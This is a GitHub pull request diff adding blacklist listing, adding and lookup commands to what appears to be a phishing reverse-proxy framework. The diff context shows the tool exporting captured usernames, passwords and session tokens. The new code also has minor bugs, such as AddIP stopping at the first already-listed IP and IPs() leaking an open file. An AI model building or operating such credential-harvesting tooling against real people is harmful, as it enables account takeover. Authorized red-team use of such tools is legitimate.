Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

List and Search Blacklist IP Addresses #18

Open
wants to merge 18 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
67 changes: 47 additions & 20 deletions core/blacklist.go
Original file line number Diff line number Diff line change
Expand Up @@ -75,36 +75,39 @@ func NewBlacklist(path string) (*Blacklist, error) {
return bl, nil
}

func (bl *Blacklist) AddIP(ip string) error {
if bl.IsBlacklisted(ip) {
return nil
}
func (bl *Blacklist) AddIP(ips ...string) error {
for _, ip := range ips {
if bl.IsBlacklisted(ip) {
return nil
}

ipv4 := net.ParseIP(ip)
if ipv4 != nil {
bl.ips[ipv4.String()] = &BlockIP{ipv4: ipv4, mask: nil}
} else {
return fmt.Errorf("blacklist: invalid ip address: %s", ip)
}
ipv4 := net.ParseIP(ip)
if ipv4 != nil {
bl.ips[ipv4.String()] = &BlockIP{ipv4: ipv4, mask: nil}
} else {
return fmt.Errorf("blacklist: invalid ip address: %s", ip)
}

// write to file
f, err := os.OpenFile(bl.configPath, os.O_APPEND|os.O_WRONLY, 0644)
if err != nil {
return err
}
defer f.Close()
// write to file
f, err := os.OpenFile(bl.configPath, os.O_APPEND|os.O_WRONLY, 0644)
if err != nil {
return err
}
defer f.Close()

_, err = f.WriteString(ipv4.String() + "\n")
if err != nil {
return err
_, err = f.WriteString(ipv4.String() + "\n")
if err != nil {
return err
}
log.Success("successfully blacklisted '%s'", ip)
}

return nil
}

func (bl *Blacklist) IsBlacklisted(ip string) bool {
ipv4 := net.ParseIP(ip)
if ipv4 == nil {
log.Error("not a valid ip '%s'", ip)
return false
}

Expand All @@ -118,3 +121,27 @@ func (bl *Blacklist) IsBlacklisted(ip string) bool {
}
return false
}

func (bl *Blacklist) IPs() (ips []string, err error) {
f, err := os.Open(bl.configPath)
if err != nil {
return nil, err
}

defer func() {
if err != nil {
f.Close()
}
}()

s := bufio.NewScanner(f)
for s.Scan() {
ips = append(ips, s.Text())
}

if err := s.Err(); err != nil {
return nil, fmt.Errorf("IPs: error reading blacklist: %w", err)
}

return
}
42 changes: 42 additions & 0 deletions core/table.go
Original file line number Diff line number Diff line change
Expand Up @@ -144,6 +144,48 @@ func AsTable(columns []string, rows [][]string) string {
return table
}

//AsSingleColTable creates a single column ascii table.
// col is the header of the table and cells are the individual rows under the header col
func AsSingleColTable(col string, cells []string) string {
dg := color.New(color.FgHiBlack)

rMaxLens := make([]int, 0)

for _, cell := range cells {
rlen := viewLen(fmt.Sprintf(" %s ", cell)) + 4
if rlen < minColLen {
rlen = minColLen
}
rMaxLens = append(rMaxLens, rlen)
}

//lets find the longest column and set that to be the maxwidthlen
var MaxLen int
for _, len := range rMaxLens {
if len > MaxLen {
MaxLen = len
}
}

var lineSep string

lineSep += fmt.Sprintf("+%s", strings.Repeat("-", MaxLen+1))
lineSep += "+"

var table string
table += dg.Sprintf("%s\n", lineSep)
table += dg.Sprintf("|") + padded(col, MaxLen, AlignCenter)
table += dg.Sprintf("|\n")
table += dg.Sprintf("%s\n", lineSep)
for _, cell := range cells {
table += dg.Sprintf("|") + padded(cell, MaxLen, AlignCenter)
table += dg.Sprintf("|\n")
}

table += dg.Sprintf(lineSep) + "\n"
return table
}

func AsRows(keys []string, vals []string) string {
clr := color.New(color.FgHiBlack)
mLen := maxLen(keys)
Expand Down
172 changes: 102 additions & 70 deletions core/terminal.go
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,15 @@ const (
LAYER_TOP = 1
)

var (
lblue = color.New(color.FgHiBlue)
dgray = color.New(color.FgHiBlack)
lgreen = color.New(color.FgHiGreen)
yellow = color.New(color.FgYellow)
lred = color.New(color.FgHiRed)
cyan = color.New(color.FgCyan)
)

type Terminal struct {
rl *readline.Instance
completer *readline.PrefixCompleter
Expand Down Expand Up @@ -124,59 +133,59 @@ func (t *Terminal) ProcessCommand(line string) bool {

cmd_ok := false
switch args[0] {
case "clear":
cmd_ok = true
readline.ClearScreen(color.Output)
case "config":
cmd_ok = true
err := t.handleConfig(args[1:])
if err != nil {
log.Error("config: %v", err)
}
case "proxy":
cmd_ok = true
err := t.handleProxy(args[1:])
if err != nil {
log.Error("proxy: %v", err)
}
case "sessions":
cmd_ok = true
err := t.handleSessions(args[1:])
if err != nil {
log.Error("sessions: %v", err)
}
case "phishlets":
cmd_ok = true
err := t.handlePhishlets(args[1:])
if err != nil {
log.Error("phishlets: %v", err)
}
case "lures":
cmd_ok = true
err := t.handleLures(args[1:])
if err != nil {
log.Error("lures: %v", err)
}
case "blacklist":
cmd_ok = true
err := t.handleBlacklist(args[1:])
if err != nil {
log.Error("blacklist: %v", err)
}
case "help":
cmd_ok = true
if len(args) == 2 {
if err := t.hlp.PrintBrief(args[1]); err != nil {
log.Error("help: %v", err)
}
} else {
t.hlp.Print(0)
case "clear":
cmd_ok = true
readline.ClearScreen(color.Output)
case "config":
cmd_ok = true
err := t.handleConfig(args[1:])
if err != nil {
log.Error("config: %v", err)
}
case "proxy":
cmd_ok = true
err := t.handleProxy(args[1:])
if err != nil {
log.Error("proxy: %v", err)
}
case "sessions":
cmd_ok = true
err := t.handleSessions(args[1:])
if err != nil {
log.Error("sessions: %v", err)
}
case "phishlets":
cmd_ok = true
err := t.handlePhishlets(args[1:])
if err != nil {
log.Error("phishlets: %v", err)
}
case "lures":
cmd_ok = true
err := t.handleLures(args[1:])
if err != nil {
log.Error("lures: %v", err)
}
case "blacklist":
cmd_ok = true
err := t.handleBlacklist(args[1:])
if err != nil {
log.Error("blacklist: %v", err)
}
case "help":
cmd_ok = true
if len(args) == 2 {
if err := t.hlp.PrintBrief(args[1]); err != nil {
log.Error("help: %v", err)
}
case "q", "quit", "exit":
return true
default:
log.Error("unknown command: %s", args[0])
cmd_ok = true
} else {
t.hlp.Print(0)
}
case "q", "quit", "exit":
return true
default:
log.Error("unknown command: %s", args[0])
cmd_ok = true
}
if !cmd_ok {
log.Error("invalid syntax: %s", line)
Expand Down Expand Up @@ -244,6 +253,32 @@ func (t *Terminal) handleBlacklist(args []string) error {
case "off":
t.cfg.SetBlacklistMode(args[0])
return nil
case "show":
ips, err := t.p.bl.IPs()
if err != nil {
log.Error("%v", err)
break
}
if len(ips) > 0 {
log.Printf("\n%s\n", AsSingleColTable("ip", ips))
} else {
log.Printf("%s", dgray.Sprintf("none"))
}
return nil
}
} else if pn >= 2 {
switch args[0] {
case "add":
err := t.p.bl.AddIP(args[1:]...)
if err != nil {
log.Error("%v", err)
return nil
}
return nil
case "exists":
exists := t.p.bl.IsBlacklisted(args[1])
log.Success("%v", exists)
return nil
}
}
return fmt.Errorf("invalid syntax: %s", args)
Expand Down Expand Up @@ -329,12 +364,6 @@ func (t *Terminal) handleProxy(args []string) error {
}

func (t *Terminal) handleSessions(args []string) error {
lblue := color.New(color.FgHiBlue)
dgray := color.New(color.FgHiBlack)
lgreen := color.New(color.FgHiGreen)
yellow := color.New(color.FgYellow)
lred := color.New(color.FgHiRed)
cyan := color.New(color.FgCyan)

pn := len(args)
if pn == 0 {
Expand Down Expand Up @@ -508,13 +537,13 @@ func (t *Terminal) handleSessions(args []string) error {
log.Info("exported sessions to csv: %s", outFile.Name())
case "json":
type ExportedSession struct {
Id string `json:"id"`
Phishlet string `json:"phishlet"`
Username string `json:"username"`
Password string `json:"password"`
Tokens string `json:"tokens_base64_encoded"`
Id string `json:"id"`
Phishlet string `json:"phishlet"`
Username string `json:"username"`
Password string `json:"password"`
Tokens string `json:"tokens_base64_encoded"`
RemoteAddr string `json:"remote_ip"`
Time string `json:"time"`
Time string `json:"time"`
}
var exported []*ExportedSession
for _, s := range sessions {
Expand All @@ -524,13 +553,13 @@ func (t *Terminal) handleSessions(args []string) error {
break
}
es := &ExportedSession{
Id: strconv.Itoa(s.Id),
Phishlet: s.Phishlet,
Username: s.Username,
Password: s.Password,
Tokens: base64.StdEncoding.EncodeToString([]byte(t.tokensToJSON(pl, s.Tokens))),
Id: strconv.Itoa(s.Id),
Phishlet: s.Phishlet,
Username: s.Username,
Password: s.Password,
Tokens: base64.StdEncoding.EncodeToString([]byte(t.tokensToJSON(pl, s.Tokens))),
RemoteAddr: s.RemoteAddr,
Time: time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04"),
Time: time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04"),
}
exported = append(exported, es)
}
Expand Down Expand Up @@ -1116,6 +1145,9 @@ func (t *Terminal) createHelp() {
h.AddSubCommand("blacklist", []string{"all"}, "all", "block and blacklist ip addresses for every single request (even authorized ones!)")
h.AddSubCommand("blacklist", []string{"unauth"}, "unauth", "block and blacklist ip addresses only for unauthorized requests")
h.AddSubCommand("blacklist", []string{"off"}, "off", "never add any ip addresses to blacklist")
h.AddSubCommand("blacklist", []string{"show"}, "show", "list all blacklisted ip addresses")
h.AddSubCommand("blacklist", []string{"add"}, "add <ip> <ip> ...", "add one or more ips to blacklist")
h.AddSubCommand("blacklist", []string{"exists"}, "exists <ip>", "verifies if the given ip is already blacklisted")

h.AddCommand("clear", "general", "clears the screen", "Clears the screen.", LAYER_TOP,
readline.PcItem("clear"))
Expand Down
Loading